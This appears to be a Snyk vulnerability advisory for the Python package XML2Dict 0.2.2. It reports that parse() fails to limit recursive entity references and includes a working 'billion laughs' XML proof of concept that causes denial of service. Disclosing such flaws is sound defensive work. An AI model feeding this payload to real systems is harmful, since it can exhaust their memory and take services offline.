XML2Dict@0.2.2

Convert between XML String and Python Dict

  • latest version

    0.2.2

  • first published

    14 years ago

  • latest version published

    11 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the XML2Dict package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    XML External Entity (XXE) Injection

    XML2Dict is a convert xml file to python native dict object.

    Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The function parse() does not restrict recursive entity references in DTDs in a specially crafted XML document, allowing an attacker to cause denial of service.

    PoC

    from encoder import XML2Dict
    
    xml2dic = XML2Dict() 
    doc = """ <!--?xml version="1.0" ?--> <!DOCTYPE bombz [ <!ENTITY bomb "bomb"> <!ELEMENT bombz (#PCDATA)> <!ENTITY bomb1 "&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;"> <!ENTITY bomb2 "&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;"> <!ENTITY bomb3 "&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;"> <!ENTITY bomb4 "&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;"> <!ENTITY bomb5 "&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;"> <!ENTITY bomb6 "&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;"> <!ENTITY bomb7 "&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;"> <!ENTITY bomb8 "&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;"> <!ENTITY bomb9 "&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;"> ]> <bombz>&bomb9;</bombz> """ 
    
    xml2dic.parse(doc)
    

    How to fix XML External Entity (XXE) Injection?

    There is no fixed version for XML2Dict.

    [0,)